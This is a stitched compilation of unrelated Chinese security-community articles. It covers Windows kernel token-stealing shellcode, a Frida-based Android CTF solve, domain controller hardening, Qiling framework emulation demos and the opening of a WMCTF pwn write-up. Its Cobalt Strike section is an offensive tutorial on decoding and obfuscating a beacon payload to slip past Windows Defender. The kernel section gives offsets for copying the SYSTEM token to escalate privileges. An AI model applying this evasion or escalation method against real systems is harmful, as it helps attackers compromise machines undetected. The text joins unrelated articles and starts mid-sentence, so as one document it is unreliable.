check风险。因此我们通常使用系统进程，因为系统进程的引用计数器很高，不容易引起问题。但是可惜的是，白皮书中所描述的方法只有在被利用的进程没有在沙盒中运行时才有效，所以需要做一些修改，但是主要原理仍然是有效的。
思路如下：
查找当前进程的EPROCESS地址
找到SYSTEM进程的EPROCESS地址
将SYSTEM进程的token复制到当前进程
执行需要SYSTEM权限的操作
我开发内核漏洞利用是为了POC而不是将它武器化，我将它们编译为EXE’s，并从目标上的cmd.exe直接启动它们，而不是通过浏览器。我希望确保他们能在Low
Integrity或AppContainer上工作。但是由于漏洞利用通常在执行其职责后退出，我想要cmd.exe进程获得提升的权限，而不是运行实际漏洞利用的进程。
下面假设漏洞利用获得了任意内核模式代码执行，我们可以手动运行汇编代码，虽然这听起来有些不太可能。但是即使是即将发布的Windows
10创造者版本，只要发现一个write-what-where漏洞，就会有很多种方法来实现这一点。
**The Shellcode**
有了所有的先决条件，我们接下来处理前面思路中列出的四个问题。首先，我们需要定位当前进程的EPROCESS，可以通过先找到进程的KTHREAD来实现，KTHREAD位于GS段的offset
0x188处。然后我们可以在KTHREAD的offset 0x220处找到一个指向KPROCESS的指针，如下图所示：
这就意味着当前进程的EPROCESS地址可以通过以下的汇编指令找到：
由于我想将权限转移给cmd.exe，会出现一个额外的步骤—找到cmd.exe的EPROCESS。我们使用进程ID，它是漏洞利用应用程序的parent进程，可以通过以下方式找到：
这意味着当前进程EPROCESS中的offset 0x3EO是cmd.exe的PID，这是通过以下方式捕获的：
接下来找到另一个进程的EPROCESS地址，我们注意到了下面的结构：
这意味着进程的PID在EPROCESS的offset 0x2E8处。在offset
0x2F0处，我们有一个所有EPROCESS的链表，可以通过执行它们来寻找cmd.exe的PID：
这个完成之后，我们想要找到token的地址，因为这是我们想要替换的东西。它位于offset 0x358处，如下图所示：
在我们继续往下进行之前，我们要确保存储好该地址：
现在我们已经找到了cmd.exe的EPROCESS，我们想要从这个进程中获得SYSTEM权限，接下来我们需要找到系统进程的EPROCESS。由于系统进程总是有4的PID，我们能用同样的方法找到它：
这样我们就找到了系统进程的EPROCESS地址，下一步就是替换cmd.exe进程的token，通过重写现有的token就能实现。
要记住RDX包含系统进程EPROCESS地址的offset 0x358，RCX包含cmd.exe EPROCESS地址的offset
0x358。执行实际的shellcode，如下图所示：
我们得到了预期的结果：
**结语**
这个shellcode是100％稳定的，并且授予parent进程，如果修改了执行进程，则授予SYSTEM权限。第一篇文章至此结束，shellcode可以在Github找到：
[https://github.com/MortenSchenk/Token-Stealing-Shellcode](https://github.com/MortenSchenk/Token-Stealing-Shellcode)
****
**传送门**
* * *
[****](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
2）**](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
3）**](http://bobao.360.cn/learning/detail/3624.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part 4）**
****](http://bobao.360.cn/learning/detail/3643.html) | 社区文章 |
# 一道Android逆向题的取巧解题思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近朋友发来一道Android逆向题，挺有意思，花时间研究了一下，在算法逆不出来的情况下（我太菜），用frida取巧解出了题目，记录下学习的过程。
## 抛出问题
安装打开题目发现是要求输入字符串。
随便输入提示错误。
## Java层静态分析
拖进jadx，先分析下java层。里面类有点多，估计是垃圾代码，直接看Androidmanifest文件找到启动的Activity去分析。
找到对应的类，一看上面就是一个byte数组，一个loadLibrary，一个native函数，so逆向跑不了。
下面看到对应的按钮点击事件。
继续跟进去看，找到了核心的逻辑，是通过encry函数处理输入字符串，返回一个byte数组，然后和前面的byte数组比较是否相等，那前面的byte数组应该就是加密后的flag，我们要做的就是逆出来。
## Native层静态分析
encry是写在native层，对apk解包，取出对应的so（libencry.so）拖进ida。
可以看到是静态注册的，直接能在导出函数里找到。
转成C伪码，看一下，我还是太菜，不会。
动态调了下，也没调明白，我太菜了。
## Frida动态hook
关掉ida，直接上frida，先来hook一下这个函数，看看输入输出。
可以hook到，输入的参数以及输出的byte数组
这里开始测试（猜），flag格式一般就是flag{xxxxxx},我输入“flag{”进行测试，hook结果如下：
对比Java层中的byte数组，发现前几位已经能对上了，但是最后一位对不上，应该是因为so层中的加密算法后一位会影响前一位。
到这里就已经可以get到一个比较取巧的思路了，写个rpc脚本调用一位一位爆破flag。
## Frida rpc调用
直接hook encry函数，主动调用。
js部分如下：
python调用，爆破部分如下：
一位一位遍历所有可打印字符跑起来。
成功获取（爆出）到flag。
## 总结
常规做法做不出来，只能取巧，题目设置也刚好，最终还是以结果为导向，能解题的方法总是好方法。这里只是举例了用frida，实际上也可以使用unidbg去主动调用so进行爆破，原理是差不多的。 | 社区文章 |
Active Directory的安全始于能确保安全地配置域控制器（DC）。在今年夏天的BlackHat
USA大会上，我非常专业的提到了AD的安全，并提供了关于如何能够最好程度上保护Active
Directory安全的一些提示。这篇文章主要关注域控制器的安全性和一些跨越Active
Directory的安全性。毕竟我的博客被称为“ADSecurity” …
本文将会涵盖一些通过保护域控制器（简称“域控”）来保护Active Directory安全性的最佳方法，包括以下几个部分：
1. 默认域和域控制器策略
2. 创建域和域控制器安全基线GPO
3. 修补域控制器
4. 保护域控制器
5. 域控制器推荐的组策略设置
6. 配置域控制器审查模式（事件日志）
7. 需要监控的域控制器事件（事件日志）
8. 关键域控制器安全项
与基础架构的任何重大更改一样，请在部署更改之前进行测试。以免发生意外。
**默认域和域控制器组策略（GPO）**
当首次创建Active Directory域时，默认情况下会创建两个GPO：
默认域策略 - GUID：{31B2F340-016D-11D2-945F-00C04FB984F9}
默认域控制器策略 - GUID：{6AC1786C-016F-11D2-945F-00C04FB984F9}
请注意，这些GPO GUID对于每个Active Directory域实例都是相同的。
这是为了确保Windows可以快速找到这些GPO，如果它们被删除，则需要被恢复或重新创建。 [Active
Directory最佳实践分析工具](https://technet.microsoft.com/en-us/library/dd391875\(v=ws.10).aspx)查找默认GPO以确保其被正确应用。 GPO
GUID与AD对象GUID不同，因为某些GPO GUID需要相同的跨AD实例。
默认域策略应只包含以下设置：
1. 密码策略
2. 帐户锁定策略
3. Kerberos策略
Windows Server 2012 R2的默认域策略的默认设置如上图所示。
默认域控制器策略应只包含以下设置：
1. 用户权限分配
2. 一些安全选项
Windows Server 2012 R2的默认域控制器策略的默认设置如上图所示。
**创建域和域控制器安全基准GPO**
将自定义设置放入默认GPO是非常吸引人的。 请抵制住这种冲动，因为它能更好地在新的GPO中添加一层额外的安全层（并且更容易进行变更管理）。
请注意，域密码策略实际上是一个具有链接到域的最高链接顺序的GPO，因此可以使用自定义密码策略设置创建新的GPO，链接到域，并将链接顺序移动到第一的位置上（如下图所示）。
据说，许多组织只是在默认域策略GPO中定制密码策略，这很好。不过，不要添加新的设置到默认域策略GPO; 尽量保持卫它的原样。
默认域策略GPO中的默认密码策略的设置有很多不足之处。 我建议收紧这些设置，使它们更安全。
如果有需要较少限制要求的帐户，请使用细粒度密码策略为异常提供更多宽松的密码设置。
1. 强制密码历史记录：24（默认值很好）
2. 密码最大年龄：60 – 180，取决于组织要求和最小密码长度。
3. 密码最小年龄：1
将其设置为1或更高，以便用户不能简单地继续循环其新密码，直到他们翻阅密码历史记录以回到他们最喜欢的密码。
1. 最小密码长度：14
有趣的是：通过组策略管理控制台（GPMC）设置的唯一可接受的值是数字0到14。即使手动设置在SYSVOL中关联的组策略设置文件，也无法设置更高的值因为这是不受支持的设置。更好的想法是在此处将其设置为14，然后使用[细粒度密码策略](https://blogs.technet.microsoft.com/canitpro/2013/05/29/step-by-step-enabling-and-using-fine-grained-password-policies-in-ad/)应用于组，并确保你希望将此设置应用的用户在此用户组中。
1. 密码必须满足复杂性要求：启用
2. 使用可逆加密存储密码：禁用
如果将此设置为启用，则在启用此设置时更改其密码的任何用户的密码都以可反转的方式存储在AD数据库（NTDS.dit文件）中，这意味着用户的密码可以提取。
1. 帐户锁定持续时间：1 – 90分钟
设置一些值以缓解密码猜测尝试的攻击方式
1. 帐户锁定阈值：5 – 20次登录尝试无效
设置以配置在锁定帐户之前需要多少次无效的登录尝试。
1. 在多长时间后重置帐户锁定计数器：5 – 60分钟
设置以配置在无需帮助台帮助的情况下帐户自动解锁需要多长时间。
**第一步是创建两个新的GPO（这些只是示例）**
1. 域安全策略基准
2. 域控制器安全策略基准
域安全策略基准应包含应用于整个域的设置。
创建安全域策略和域控制器安全策略的最佳方法是下载Microsoft安全合规性管理器（当前版本为4.0），并在要为其创建安全基准的操作系统版本下选择“安全合规性”选项GPO。查看选项，根据需要进行更改，并导出为GPO备份（文件夹）。在域中创建新的空白GPO，并从SCM
GPO备份中“导入设置”，以便新的GPO具有与SCM导出的GPO有相同的设置。然后将此GPO应用于你的域控制器。如果你已配置了最小的安全设置，这将改进你的DC安全基线，特别是如果你还没有为现有的DC配置过GPO。
大多数包含的设置会在本文中的“保护域控制器”和“推荐的组策略设置”章节部分中进行标识和描述。
Microsoft SCM域安全合规性策略
（在部署之前请查看设置和测试）
Microsoft SCM域控制器安全合规策略
如果其中一个模板包含了FIPS合规加密，则需要验证是否需要设置此模板，因为Microsoft在2014年不推荐使用此模板。如果你不确定是否需要它，请最好不要启用它。
FIPS兼容加密实际上可能会导致一些问题。一些政府系统需要它，但请首先对应用程序进行广泛地测试。
作为开发安全基线的一部分，有几个大型组织花费时间和金钱来确定了什么才是“安全”：
DoD STIG：http://iase.disa.mil/stigs/os/windows
澳大利亚信息安全手册：
http://www.asd.gov.au/infosec/ism/index.htm
CIS基准：
https://benchmarks.cisecurity.org/downloads/browse/?category=benchmarks.os.window
如果你已经有了一个配置AD安全的GPO，你可以使用Microsoft的策略分析器你在SCM生成的“安全合规性”GPO进行比较。
组策略有两种不同的配置思维方式，一种是使用尽可能少的GPO，尽可能多地使用相同的设置，另一种是为每个目的使用单独的GPO。我倾向于站在这两种思维的中间。使用单独的GPO进行主要配置设置：Windows工作站配置，Windows服务器配置，用户配置等。除此之外，还需要为其他GPO配置一些新的测试设置。
**对域控制器打补丁**
重要的服务器需要在发布关键的安全补丁时尽快打上这些补丁。关注围绕“我应用了一个安全补丁，那它到底修补了什么？”。缓解对破坏性操作的担忧并确保安全补丁被及时应用是一种微妙的平衡，当然更多的是艺术而不是科学。
1. 首先应用补丁到域控制器的子集，让他们“烘烤”一段时间，然后再应用到另一个集，然后在所有的机器上安装补丁。一种流行的方法是首先将该补丁应用于偶数DC，然后再部署到奇数DC。
2. 首先应用关键的安全修补程序。任何标记为“关键”且适用于DC的安全补丁都需要尽快安装。这包括任何类型的远程代码执行（RCE），AD特权提升等等。
3. 确保DC上安装的任何服务也被正确地修补。域控制器经常会托管DNS，因此在DC上运行的易受攻击的DNS服务可能被利用以威胁Active Directory域的安全。
4. 确保服务器在升级为DC之前进行了完全的修补（像MS14-068这样的安全问题使得这样的检查确认变得至关重要）。
**保护域控制器**
域控的安全以及Active
Directory的许多方面的安全都基于安装在域控制器上的Windows版本。这就是为什么在域控制器上运行当前的Windows版本非常重要 —
较新版本的Windows服务器有更好的安全性和增强的Active Directory安全功能。
一些Active Directory域功能级的安全功能在此处根据Windows版本列出：
**Windows Server 2008 R2域功能级别：**
1. [Kerberos AES加密支持](http://blogs.msdn.com/b/openspecification/archive/2011/05/31/windows-configurations-for-kerberos-supported-encryption-type.aspx)
允许从[支持的类型](http://blogs.msdn.com/b/openspecification/archive/2011/05/31/windows-configurations-for-kerberos-supported-encryption-type.aspx)中删除RC4 HMAC
Kerberos加密。请注意，Windows 7和Windows Server 2008 R2[不再支持Kerberos
DES加密](https://technet.microsoft.com/en-us/library/dd560670%28v=ws.10%29.aspx)。
1. [托管服务帐户](http://blogs.technet.com/b/askds/archive/2009/09/10/managed-service-accounts-understanding-implementing-best-practices-and-troubleshooting.aspx)
AD控制着服务帐户密码。
1. [认证机制保证](https://technet.microsoft.com/en-us/library/dd391847%28v=ws.10%29.aspx)
当使用智能卡进行身份验证时，用户会收到组内的其他成员。
**Windows Server 2012域功能级别：**
1. [组托管服务帐户](https://technet.microsoft.com/en-us/library/hh831782.aspx)
AD控制服务帐户密码。
1. [复合身份验证和Kerberos FAST（Kerberos Armoring）](https://technet.microsoft.com/en-us/library/hh831747.aspx)
结合用户和设备进行身份验证
保护Kerberos AS和TGT请求。
**Windows Server 2012 R2域功能级别：**
1. [认证策略和孤岛](https://technet.microsoft.com/en-us/library/dn486813.aspx)
保护特权帐户限制他们可以登录的位置。
1. 受保护用户安全组
PDC设置为Windows 2012 R2以创建组
受保护的用户主机保护（Win 8.1 / 2012R2）防止：
（1）使用NTLM，摘要认证或CredSSP进行认证。
（2）缓存凭据
（3）DES或RC4加密类型在Kerberos预认证中。
（4）帐户委派。
受保护的用户域强制阻止：
（1）NTLM身份验证。
（2）在Kerberos预认证中使用DES或RC4加密类型。
（3）委托不受约束或约束委派。
（4）将Kerberos TGT更新为最初的四小时生命周期。
**Windows Server 2016新安全功能：**
1. 特权访问管理 – 支持单独的堡垒（admin）林
2. Microsoft护照
只有已批准的且来自可信来源的软件才应该安装在域控制器上。这包括从受信任的来源安装Windows操作系统。
域控制器应启用Windows防火墙并配置为防止互联网访问。大多数时候，域控制器没有直接联网的好理由。
理想情况下，在域控制器上不应安装软件或代理，因为安装的每个附加程序都可能提供另一个攻击途径。安装的每个代理或服务都为应用程序所有者提供了在域控制器上运行代码的潜在能力。如果补丁基础设施管理着所有的工作站，服务器和域控制器，那么攻击者只需要拿到一个补丁基础架构的管理员权限，就会危及整个Active
Directory环境。这就是为什么域控制器和管理工作站/服务器需要有他们自己的管理基础设施且需要独立于企业的其余部分，因为共享系统管理可以提供危害域的更多路径。域控制器和管理工作站/服务器应该有自己的打补丁的基础设施，如Windows
Server Update Services（WSUS）。
保护Active
Directory的最佳方法是限制域级别的管理权限。这包括限制对域控制器的访问，特别是登录和管理权限。以下用户权限分配应配置为通过组策略对域控制器实施最小权限：
1. 作为批处理作业登录：未定义
2. 拒绝作为批处理作业登录：来宾
3. 允许本地登录：管理员
4. 允许通过远程桌面服务登录：管理员
5. 从网络访问此计算机：管理员，已认证的用户，企业域控制器
6. 备份文件和目录：管理员（如果需要备份代理，则为备份操作员）
7. 还原文件和目录：管理员（如果需要备份代理，则为备份操作员）
8. 将工作站添加到域：管理员
9. 旁路遍历检查：未定义
10. 拒绝从网络访问此计算机：来宾，NT AUTHORITY\Local Account
11. 设备：禁止用户安装打印机驱动程序：启用
12. 作为服务登录：[只有需要此权限的特定帐户才应在此处列出]
13. 域控制器：允许服务器操作员计划任务：禁用
14. 拒绝通过远程桌面服务登录：来宾，NT AUTHORITY \ Local Account
15. 设备：禁止用户安装打印机驱动程序：启用
16. 关闭系统：管理员
本文参考来源于adsecurity，如若转载，请注明来源于嘶吼： http://www.4hou.com/technology/3280.html | 社区文章 |
**作者：麒麟框架**
**项目地址：<https://qilingframework.github.io/www_zh/>**
**微博:<https://weibo.com/sgniwx?is_all=1>**
# 二进制分析工具的现状
物联网设备正面临前所未有的威胁。恶意软件攻击的对象通常是安全性差或者配置不当的网络设备。硬件厂商和安全行业都在努力研究各种攻击行为，以制造更安全的产品。而“针对物联网设备的攻击”和“恶意软件分析”则是这个过程中，我们所面临的两个最大的挑战。
目前“物联网设备”和“恶意软件”同时运行于各种不同的操作系统与CPU架构中，逆向工程师需要了解全部CPU架构，这极大的降低了分析效率。同时，很多无法得到及时更新的分析工具，在面对层出不穷的新型攻击方式时，则显得捉襟见肘。
而现阶段很多二进制分析工具（系统仿真、用户模式仿真、二进制插桩工具和沙箱），
都只针对单一类型的操作系统或CPU架构，且这些工具间几乎不可能共享信息或交叉引用数据。 这就是逆向工程的困难所在。
[1]Sonicwall的研究显示，2018年，恶意软件攻击大幅上升，达到105.2亿次，创下历史新高，且网络犯罪分子使用了新的威胁策略。
# 解决方案
麒麟框架旨在改变物联网安全研究、恶意软件分析和逆向工程的现状。我们的目标是构建一个跨平台、支持多体系结构的分析框架，而不仅仅是做一个逆向工具。麒麟框架拥有强大的功能，例如在二进制执行之前或执行期间进行代码拦截和任意代码注入。它还可以在执行期间补丁目标二进制文件。
麒麟框架是用Python编写的开源工具。Python是逆向工程师常用的简单的编程语言，这极大的降低了二次开发的门槛。
# 麒麟框架是什么
麒麟框架不仅仅是一个仿真平台或逆向工程工具。它还将“二进制插桩”和“二进制仿真”结合一起。借助麒麟框架，你可以：
\- 动态干预二进制程序执行流程
\- 在二进制程序执行期间对其进行动态补丁
\- 在二进制程序执行期间对其进行代码注入
\- 局部执行二进制程序，而不是运行整个文件
\- 任意补丁“脱壳”已加壳程序内容
麒麟框架能够模拟：
\- Windows x86 32/64位
\- Linux x86 32/64位，ARM，AARCH64，MIPS
\- MacOS x86 32/64位
\- FreeBSD x86 32/64位
麒麟框架能够在Windows/MacOS/Linux/FreeBSD等操作系统上运行，且不受CPU架构的限制
# 麒麟框架是如何操作的
## 演示环境
Hardware : X86 64位 OS : Ubuntu 18.04 64位
## Demo #1 获取Wannacry的断路器开关地址
麒麟框架运行Wannacry恶意软件获取断路器开关地址
[qiling DEMO 1: Catching wannacry's killer
switch](https://www.youtube.com/watch?v=gVtpcXBxwE8 "qiling DEMO 1: Catching
wannacry's killer switch")
**代码样本**
from qiling import *
def stopatkillerswtich(ql):
ql.uc.emu_stop()
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_windows/bin/wannacry.bin"], "rootfs/x86_windows")
ql.hook_address(stopatkillerswtich, 0x40819a)
ql.run()
**执行输出**
0x1333804: __set_app_type(0x2)
0x13337ce: __p__fmode() = 0x500007ec
0x13337c3: __p__commode() = 0x500007f0
0x132f1e1: _controlfp(0x10000, 0x30000) = 0x8001f
0x132d151: _initterm(0x40b00c, 0x40b010)
0x1333bc0: __getmainargs(0xffffdf9c, 0xffffdf8c, 0xffffdf98, 0x0, 0xffffdf90) = 0
0x132d151: _initterm(0x40b000, 0x40b008)
0x1001e10: GetStartupInfo(0xffffdfa0)
0x104d9f3: GetModuleHandleA(0x00) = 400000
0x125b18e: InternetOpenA(0x0, 0x1, 0x0, 0x0, 0x0)
0x126f0f1: InternetOpenUrlA(0x0, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com", "", 0x0, 0x84000000, 0x0)
## Demo #2 在Ubuntu X64位上模拟ARM路由器固件
麒麟框架动态补丁及模拟ARM路由器固件，把其/usr/bin/httpd在X86_64位 Ubuntu上运行
[qiling DEMO 2: Fully emulating httpd from ARM router firmware with Qiling on
Ubuntu X64 machine](https://www.youtube.com/watch?v=Nxu742-SNvw "qiling DEMO
2: Fully emulating httpd from ARM router firmware with Qiling on Ubuntu X64
machine")
**代码样本**
from qiling import *
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, stdin = sys.stdin, stdout = sys.stdout, stderr = sys.stderr)
# Patch 0x00005930 from br0 to ens33
ql.patch(0x00005930, b'ens33\x00', file_name = b'libChipApi.so')
ql.root = False
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/tendaac15/bin/httpd"], "rootfs/tendaac15")
## Demo #3 热修补Windows crackme
麒麟框架热修补丁Windows crackme程序使其显示“Congratulation”窗口。
[qiling DEMO 3: hotpatching a Windows
crackme](https://www.youtube.com/watch?v=p17ONUbCnUU "qiling DEMO 3:
hotpatching a Windows crackme")
**代码样本**
from qiling import *
def force_call_dialog_func(ql):
# get DialogFunc address
lpDialogFunc = ql.unpack32(ql.mem_read(ql.sp - 0x8, 4))
# setup stack memory for DialogFunc
ql.stack_push(0)
ql.stack_push(1001)
ql.stack_push(273)
ql.stack_push(0)
ql.stack_push(0x0401018)
# force EIP to DialogFunc
ql.pc = lpDialogFunc
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs)
# NOP out some code
ql.patch(0x004010B5, b'\x90\x90')
ql.patch(0x004010CD, b'\x90\x90')
ql.patch(0x0040110B, b'\x90\x90')
ql.patch(0x00401112, b'\x90\x90')
# hook at an address with a callback
ql.hook_address(0x00401016, force_call_dialog_func)
ql.run()
if __name__ == "__main__":
my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
**执行输出**
0x10cae10: GetStartupInfo(0xffffdf40)
0x1121fa7: GetStdHandle(0xfffffff6) = 0xfffffff6
0x111fbc4: GetFileType(0xfffffff6) = 0x2
0x1121fa7: GetStdHandle(0xfffffff5) = 0xfffffff5
0x111fbc4: GetFileType(0xfffffff5) = 0x2
0x1121fa7: GetStdHandle(0xfffffff4) = 0xfffffff4
0x111fbc4: GetFileType(0xfffffff4) = 0x2
0x1121fd1: SetHandleCount(0x20) = 32
0x1121fbf: GetCommandLineA() = 0x501091b8
0x111fcd4: GetEnvironmentStringsW() = 0x501091e4
0x1117ffa: WideCharToMultiByte(0x0, 0x0, 0x501091e4, 0x1, 0x0, 0x0, 0x0, 0x0) = 2
0x1117ffa: WideCharToMultiByte(0x0, 0x0, 0x501091e4, 0x1, 0x50002098, 0x2, 0x0, 0x0) = 1
0x111fcbc: FreeEnvironmentStringsW(0x501091e4) = 1
0x1116a0b: GetACP() = 437
0x1121f8f: GetCPInfo(0x1b5, 0xffffdf44) = 1
0x1121f8f: GetCPInfo(0x1b5, 0xffffdf1c) = 1
0x111e43e: GetStringTypeW(0x1, 0x40541c, 0x1, 0xffffd9d8) = 0
0x10ffc95: GetStringTypeExA(0x0, 0x1, 0x405418, 0x1, 0xffffd9d8) = 0
0x111e39c: LCMapStringW(0x0, 0x100, 0x40541c, 0x1, 0x0, 0x0) = 0
0x1128a50: LCMapStringA(0x0, 0x100, 0x405418, 0x1, 0x0, 0x0) = 0
0x111e39c: LCMapStringW(0x0, 0x100, 0x40541c, 0x1, 0x0, 0x0) = 0
0x1128a50: LCMapStringA(0x0, 0x100, 0x405418, 0x1, 0x0, 0x0) = 0
0x111685a: GetModuleFileNameA(0x0, 0x40856c, 0x104) = 42
0x10cae10: GetStartupInfo(0xffffdfa0)
0x11169f3: GetModuleHandleA(0x00) = 400000
0x104cf42: DialogBoxParamA(0x400000, 0x65, 0x00, 0x401020, 0x00) = 0
Input DlgItemText :
<< enter any string or number here >>
0x1063d14: GetDlgItemTextA(0x00, 0x3e8, 0xffffdef4, 0x64) = 3
0x105ea11: MessageBoxA(0x00, "Congratulation !!", "EasyCrackMe", 0x40) = 2
0x1033ba3: EndDialog(0x00, 0x00) = 1
0x1124d12: ExitProcess(0x01)
* * * | 社区文章 |
# Cobalt Strike：使用混淆技术绕过Windows Defender
##### 译文声明
本文是翻译文章，文章原作者 @taso_x，文章来源：www.offensiveops.io
原文地址：<http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在渗透测试中，红方选手想在不触发任何警报、引起目标警觉的前提下成功释放攻击载荷始终是一项非常富有挑战的任务。与其他安全解决方案一样，Windows
Defender在检测Cobalt Strike等工具所生成的通用型攻击载荷方面已经表现得越来越好。
在本文中，我们将通过Cobalt Strike生成一个PowerShell攻击载荷，然后修改这个载荷，绕过Windows 10主机上安装的Windows
Defender。虽然这并不是在Windows Defender眼皮底下隐藏攻击载荷的最优雅或者最简单的方法，但经过我们的验证，该方法的确实用。
## 二、载荷创建及混淆
创建载荷的过程如下所示：
操作完成后，我们可以得到包含PowerShell命令的一个`payload.txt`。
如果我们在目标PC上直接运行命令，那么Windows Defender会将这种行为标识为危险行为。
为了绕过Windows Defender，我们首先需要理解Cobalt Strike如何创造攻击载荷，然后再修改载荷的特征，希望这种方法能骗过Windows
Defender。
显而易见的是，这段载荷命令经过base64编码，我们可以观察数据格式或者其中的`-encodedcommand`这个PowerShell标志来确认这一点。
为了解码这个命令，我们需要删除其中的`powershell.exe -nop -w hidden
-encodedcommand`字符串，保留剩余的字符串，然后使用如下命令完成解码：
echo 'base64 payload' | base64 -d
解码出来的字符串依然包含base64编码的字符串，但如果采用相同方式进行解码则会生成乱码。根据PowerShell命令中的`IEX (New-Object
IO.StreamReader(New-Object
IO.Compression.GzipStream($s[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()`语句，我们可以知道这段字符串经过Gzip压缩处理过。
现在我们需要理解这段数据中的真正内容，因为正是这段数据（即载荷）触发了Windows
Defender的警报。使用Google一番搜索后，我发现这段PowerShell脚本的功能与<http://chernodv.blogspot.com.cy/2014/12/powershell-compression-decompression.html>脚本的功能完全一致。
$data = [System.Convert]::FromBase64String('gzip base64')
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
$sr.ReadToEnd() | set-clipboard
这个脚本首先会使用base64算法解码字符串，然后解压所得结果，最终向我们呈现完整的代码。代码还会将输出结果复制到剪贴板，方便我们粘贴到文本文件中，以便稍后使用。
**$var_code** 变量保存的是具体的载荷，Windows Defender会检测到这个载荷，因此我们需要换掉这部分数据，绕过检测。
进一步解码 **$var_code** 后，我们发现这是一堆ASCII字符，但此时我们还不需要完全解码这部分数据。
$enc=[System.Convert]::FromBase64String('encoded string')
我们可以使用如下命令读取其中部分内容：
$readString=[System.Text.Encoding]::ASCII.GetString($enc)
上面这部分数据可以告诉我们一些信息，比如user agent字段以及我们所使用的IP地址。
现在我们的目标是处理当前的载荷，对其进行混淆处理，使其能够骗过Windows Defender。对于这个任务，最好的一个工具就是[Daniel
Bohannon](https://twitter.com/danielhbohannon?lang=en)所开发的`Invoke-Obfuscation`，大家可以参考[Github](https://github.com/danielbohannon/Invoke-Obfuscation)页面了解更多细节。
调用`Invoke-Obfuscation`的命令如下所示：
Import-Module .Invoke-Obfuscation.psd1
Invoke-Obfuscation
现在我们需要指定待混淆的载荷数据，我们可以使用如下命令完成这一任务：
Set scriptblock 'final_base64payload'
这款工具可以处理我们提供的脚本代码数据，然后询问我们要如何继续处理这段数据。在本文案例中，我选择的是`COMPRESS`以及子选项`1`。其他选项应该也可以试一下，但对于这个场景，我发现该方法的确行之有效（截至本文撰写时）。`Invoke-Obfuscation`可以担当大任，打印出一段比较混乱的PowerShell命令，足以绕过Windows Defender。
接下来我们只需要输入`Out`命令以及待保存的PowerShell脚本的具体路径：
Out c:payload.ps1
之前操作过程中解压出来的载荷数据如下所示：
根据前文的分析，显然我们需要替换 **[Byte[]]$var_code = [System.Convert]::FromBase64String**
这部分内容，将其替换为`Invoke-Obfuscation`新创建的载荷。为了完成这个任务，我定义了一个新的变量`$evil`，用来保存`Invoke-Obfuscation`的输出结果。
**重要提示：** 我们需要剔除`Invoke-Obfuscation`输出结果中`|`字符后面的数据，因为这是用来执行载荷数据的命令。我们不需要这条命令，因为Cobalt
Strike模板会帮我们完成这个任务。
将编辑后的脚本保存到PowerShell文件中然后加以执行。生成的结果可以作为Cobalt
Strike中的beacon，如果我们使用的是@sec_groundzero开发的[Aggressor
Script](https://github.com/secgroundzero/CS-Aggressor-Scripts)，这就是其中的Slack通知。
## 三、总结
如果我们使用Process
Hacker来对比原始的CS载荷以及修改后的CS载荷，我们会发现修改操作并没有改变beacon的行为方式，并且成功规避了Windows Defender。 | 社区文章 |
# WMCTF 部分pwn题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
两天摸了三个pwn，剩下的cfgo-LuckyMaze，IDA反编译出来的代码实在太难看了，水平有限；baby_mac确实有相关的分析文章，无奈没有环境只能放弃。剩下三个好好总结一下。
## mengyedekending
### 解题思路
1. 题目给了一个baby_Cat.exe以及一大堆dll，直接IDA分析baby_Cat.exe会发现找不到什么明显的逻辑，但是可以从一些类似字符串信息比如：可以猜测出这个exe实际上是在加载dll，程序主要的逻辑就在加载的dll中执行。
2. 查看题目给的一堆dll中，会发现exe同名的baby_Cat.dll，用dnSpy x86反编译，成功定位到关键函数：
private unsafe static void Main(string[] args)
{
char* ptr = stackalloc char[(UIntPtr)100];
int num = 1;
int* ptr2 = (int*)(ptr + 50);
Program [@object](https://github.com/object "@object") = new Program();
Program.MsgHandler msgHandler = new Program.MsgHandler([@object](https://github.com/object "@object").Right);
Program.MsgHandler msgHandler2 = new Program.MsgHandler([@object](https://github.com/object "@object").Backdoor);
Console.WriteLine("This is a gift for you : {0:x4}", &num);
Console.WriteLine("What do you want me to repeat?");
ptr2[1] = 0;
ptr2[2] = ptr;
*ptr2 = 0;
while (ptr2[1] < 53)
{
char c = (char)Console.Read();
bool flag = c == '\n';
if (flag)
{
break;
}
bool flag2 = c == '\r';
if (!flag2)
{
ptr[*ptr2] = c;
ptr2[1]++;
}
(*ptr2)++;
}
Console.WriteLine("Do you want to change your input?");
char c2 = (char)Console.Read();
bool flag3 = c2 == 'N' || c2 == 'n';
if (flag3)
{
msgHandler(ptr);
}
else
{
Console.WriteLine("Please tell me a offset!");
char* ptr3 = ptr2[2];
Console.ReadLine();
int num2 = Console.Read();
for (int i = 0; i < num2; i++)
{
char* ptr4 = ptr3 + i;
*ptr4 -= '\u0001';
}
bool flag4 = num == 1;
if (flag4)
{
msgHandler(ptr);
}
else
{
msgHandler2(ptr);
}
}
}
3. 可以看到逻辑很简单，申请了一个大小为100的字符串数组`ptr`，其中当前数组的`index`信息储存在`ptr[50]`的位置，而`ptr[51]`储存的是接受的字符个数。
4. 而至于这个`msgHandler`和`msgHandler2`，他们分别是：
Program.MsgHandler msgHandler = new Program.MsgHandler([@object](https://github.com/object "@object").Right);
Program.MsgHandler msgHandler2 = new Program.MsgHandler([@object](https://github.com/object "@object").Backdoor);
...
private unsafe void Right(char* args)
{
for (int i = 0; i < 50; i++)
{
Console.Write(args[i]);
}
Console.Write('\n');
}
